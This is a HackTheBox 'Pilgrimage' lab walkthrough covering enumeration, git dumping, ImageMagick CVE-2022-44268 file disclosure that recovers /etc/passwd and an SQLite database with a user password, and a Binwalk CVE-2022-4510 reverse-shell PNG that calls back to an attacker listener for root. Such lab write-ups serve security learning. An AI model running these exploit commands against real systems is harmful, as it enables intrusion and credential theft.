--- title: 'HackTheBox: Pilgrimage' disqus: hackmd --- HackTheBox: Pilgrimage === ## Table of Contents [TOC] ## Topic ### Lab #### HackTheBox: https://app.hackthebox.com/machines/Pilgrimage ### Initial Enumeration ●Start Machine: \ ![](https://hackmd.io/_uploads/HykMZrTWa.png) ## Solution ### 1. Attempt #### 1.1 Edit /etc/hosts /etc/hosts > 10.10.11.219 pilgrimage.htb #### 1.2 Browse http://pilgrimage.htb/ ![](https://hackmd.io/_uploads/SkyCbS6WT.png) #### 1.3 nmap scan > nmap -sC -sV -Pn -T4 10.10.11.219 ![](https://hackmd.io/_uploads/HJGVfB6Wa.png) #### 1.4 dirsearch tools > dirsearch -u http://pilgrimage.htb/ ![](https://hackmd.io/_uploads/BkgfVSaWp.png) ![](https://hackmd.io/_uploads/ByENEB6-p.png) ### 2. Git-dumper tool #### ●GitTools: (https://github.com/internetwache/GitTools) #### 2.1 Git-dumper > cd /home/(usrname)/.local/lib/python3.10/site-packages > python3 git_dumper.py http://pilgrimage.htb/.git/ Pilgrimage ![](https://hackmd.io/_uploads/B1QSPHTZa.png) #### 2.2 Enter output dir ![](https://hackmd.io/_uploads/S1GKwHabT.png) > assets/ dashboard.php index.php login.php logout.php magick register.php vendor/ ### 3. ImageMagick LFI: CVE-2022-44268 #### 3.1 [ImageMagick 功能](https://www.w3cschool.cn/imagemagick_use/): ImageMagick是一套功能強大、穩定且開源的工具集和開發包，可以用來讀、寫和處理超過89種基本格式的圖片文件，包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。 ●index.php 使用 ImageMagick ```php= if ($_SERVER['REQUEST_METHOD'] === 'POST') { $image = new Bulletproof\Image($_FILES); if($image["toConvert"]) { $image->setLocation("/var/www/pilgrimage.htb/tmp"); $image->setSize(100, 4000000); $image->setMime(array('png','jpeg')); $upload = $image->upload(); if($upload) { $mime = ".png"; $imagePath = $upload->getFullPath(); if(mime_content_type($imagePath) === "image/jpeg") { $mime = ".jpeg"; } $newname = uniqid(); exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime); unlink($upload->getFullPath()); $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime; if(isset($_SESSION['user'])) { $db = new PDO('sqlite:/var/db/pilgrimage'); $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)"); $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user'])); } header("Location: /?message=" . $upload_path . "&status=success"); } else { header("Location: /?message=Image shrink failed&status=fail"); } } else { header("Location: /?message=Image shrink failed&status=fail"); } } ``` #### 3.2 Check magick version > file magick > ./magick -version ● [dlopen(): error loading libfuse.so.2](https://github.com/AppImage/AppImageKit/wiki/FUSE) ![](https://hackmd.io/_uploads/BkPcj_0ba.png) > Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 #### 3.3 CVE-2022-44268 ● [ImageMagick LFI [CVE-2022-44268]](https://github.com/Sybil-Scan/imagemagick-lfi-poc?source=post_page-----9e070a99ac40--------------------------------): The researchers at MetabaseQ discovered CVE-2022-44268, i.e. **ImageMagick 7.1.0-49** is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary remote file (if the ImageMagick binary has permissions to read it). #### 3.4 Generate.py package > git clone https://github.com/Sybil-Scan/imagemagick-lfi-poc.git > python3 generate.py -f "/etc/passwd" -o exploit.png #在/etc/passwd 建立png檔 ![](https://hackmd.io/_uploads/SJEuItAW6.png) > [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com> [>] Generating Blank PNG [>] Blank PNG generated [>] Placing Payload to read /etc/passwd [>] PoC PNG generated > exploit.png > convert exploit.png result.png #轉換產出的png > identify -verbose result.png #查看result.png內容 ![](https://hackmd.io/_uploads/r1-ARK0-T.png) #### 3.5 Upload image ![](https://hackmd.io/_uploads/HyGrTYRb6.png) > http://pilgrimage.htb/shrunk/65310d12732f9.png #### 3.6 wget png & identify > wget http://pilgrimage.htb/shrunk/65310d12732f9.png ![](https://hackmd.io/_uploads/ByP_CKA-T.png) > identify -verbose 65310d12732f9.png ![](https://hackmd.io/_uploads/ByTj0FA-T.png) (存在/etc/passwd那麼結果會有一大堆字符) #### 3.7 HEX convert to ASCII ``` HEX: 726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a3939383a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a ``` ``` ASCII: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin emily:x:1000:1000:emily,,,:/home/emily:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin _laurel:x:998:998::/var/log/laurel:/bin/false ``` > Find user: **emily** ### 4. Sqlite dashboard.php 帶有資料庫 ```php= function fetchImages() { $username = $_SESSION['user']; $db = new PDO('sqlite:/var/db/pilgrimage'); $stmt = $db->prepare("SELECT * FROM images WHERE username = ?"); $stmt->execute(array($username)); $allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC); return json_encode($allImages); } ``` #### 4.1 Generate.py package in Sqlite (用上述一樣的方法，注入/var/db/pilgrimage上傳 payload) > python3 generate.py -f "/var/db/pilgrimage" -o sqlite.png > #在/var/db/pilgrimage 建立png檔 ![](https://hackmd.io/_uploads/Hyzdw8LfT.png) > [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com> [>] Generating Blank PNG [>] Blank PNG generated [>] Placing Payload to read /var/db/pilgrimage [>] PoC PNG generated > sqlite.png > convert sqlite.png sqlite.png #轉換產出的png > identify -verbose sqlite.png #查看sqlite.png內容 ![](https://hackmd.io/_uploads/S1HXuLIz6.png) #### 4.2 Upload image ![](https://hackmd.io/_uploads/Bkw0t8UGp.png) > http://pilgrimage.htb/shrunk/6538d99eec52a.png #### 4.3 wget png & identify > wget http://pilgrimage.htb/shrunk/6538d99eec52a.png ![](https://hackmd.io/_uploads/HkCgcUUz6.png) > identify -verbose 6538d99eec52a.png ![](https://hackmd.io/_uploads/S168q8LzT.png) (存在/var/db/pilgrimage那麼結果會有一大堆字符) #### 4.4 HEX convert to ASCII ``` HEX: 53514c69746520666f726d617420330010000101004020200000004d000000050000000000000000000000040000000400000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000004d002e4b910d0ff800040eba000f650fcd0eba0f3800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 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00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007c03071719190181537461626c65696d61676573696d6167657304435245415445205441424c4520696d61676573202875726c2054455854205052494d415259204b4559204e4f54204e554c4c2c206f726967696e616c2054455854204e4f54204e554c4c2c20757365726e616d652054455854204e4f54204e554c4c292b0406173f190100696e64657873716c6974655f6175746f696e6465785f696d616765735f31696d616765730566010717171701812b7461626c657573657273757365727302435245415445205441424c452075736572732028757365726e616d652054455854205052494d415259204b4559204e4f54204e554c4c2c2070617373776f72642054455854204e4f54204e554c4c29290206173d170100696e64657873716c6974655f6175746f696e6465785f75736572735f3175736572730300000008000000000d000000010fe6000fe600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 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``` ``` ASCII: SQLite format 3 ``` #### 4.5 HEX 轉換成 sqlite https://github.com/kljunowsky/CVE-2022-44268 > python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/6538d99eec52a.png > sqlite.sql > cat sqlite.sql| xxd -r -p - > sqlite.dump ``` sqlite3 sqlite.dump sqlite> .dump PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL); CREATE INTO users VALUES('emily','abigchonkyboi123'); CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL); COMMIT; ``` **GET emily password: abigchonkyboi123** ### 5. SSH connect ``` ssh emily@10.10.11.219 emily@pilgrimage:~$ ls binwalk_exploit.png user.txt emily@pilgrimage:~$ cat user.txt ``` ![](https://hackmd.io/_uploads/SJMQKwIGa.png) ### ✅ Get User Flag > 在 `/home/emily`找到 User flag ## Privilege Escalation > ls -al ![](https://hackmd.io/_uploads/rJ1Z5D8f6.png) ### 6. sudo -l ![](https://hackmd.io/_uploads/rkL_cwIza.png)\ (不可行) ### 7. Binwalk 遠端程式碼: CVE-2022-4510 #### 7.1 [Binwalk 功能](https://cloud.tencent.com/developer/article/1515285): Binwalk是一款快速、易用，用於分析，逆向工程和提取韌體映像的工具。簡單易用，完全自動化腳本，並透過自訂簽名，提取規則和插件模組，還重要一點的是可以輕鬆擴展。在CTF的MISC類題型和IOT安全的韌體解包分析中廣泛應用，可以大幅提高效率。該工具對linux支援較好，對於windows功能支援較差。 ##### 7.1.1 /usr/local/bin/binwalk 使用 Binwalk ``` emily@pilgrimage:/usr/sbin$ cat malwarescan.sh #!/bin/bash blacklist=("Executable script" "Microsoft executable") /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')" binout="$(/usr/local/bin/binwalk -e "$filename")" for banned in "${blacklist[@]}"; do if [[ "$binout" == *"$banned"* ]]; then /usr/bin/rm "$filename" break fi done done ``` ##### 7.1.2 Check binwalk version > binwalk -h ![](https://hackmd.io/_uploads/BJ7q9_Lz6.png) > Binwalk v2.3.2 ##### 7.1.3 Vulnerable CVE-2022-4510 > git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath\ > python3 exploit_generator.py reverse CTF.png 10.10.14.77 8520 ![](https://hackmd.io/_uploads/BJev-XFLGp.png) > binwalk_exploit.png CTF.png LICENSE README.md walkingpath.py ##### 7.1.4 Create ncat listening port > nc -nvlp 8520 ![](https://hackmd.io/_uploads/SknWXg3zp.png) ##### 7.1.5 Copy png to SSH > scp binwalk_exploit.png emily@10.10.11.219:/var/www/pilgrimage.htb/shurnk ![](https://hackmd.io/_uploads/SJgELtUfa.png) (emily has no edit permission in /var/www/pilgrimage.htb/shurnk) > scp binwalk_exploit.png emily@10.10.11.219:/home/emily ![](https://hackmd.io/_uploads/HJlJgzgnGa.png) ``` emily@pilgrimage:~$ ps -aux emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh emily@pilgrimage:~$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/ ``` #### 7.2 Connecting ncat ![](https://hackmd.io/_uploads/HkG57l2Mp.png) ``` chw@Ubuntu22:~$ nc -nvlp 8520 Listening on 0.0.0.0 8520 Connection received on 10.10.11.219 48536 #id uid=0(root) gid=0(root) groups=0(root) #whoami root #cd /root #ls quarantine reset.sh root.txt ``` ### ✅ Get Root FLAG ###### tags: `Web` `CTF` `dirsearch` `GitTool` `ImageMagick` `Binwalk` `ncat`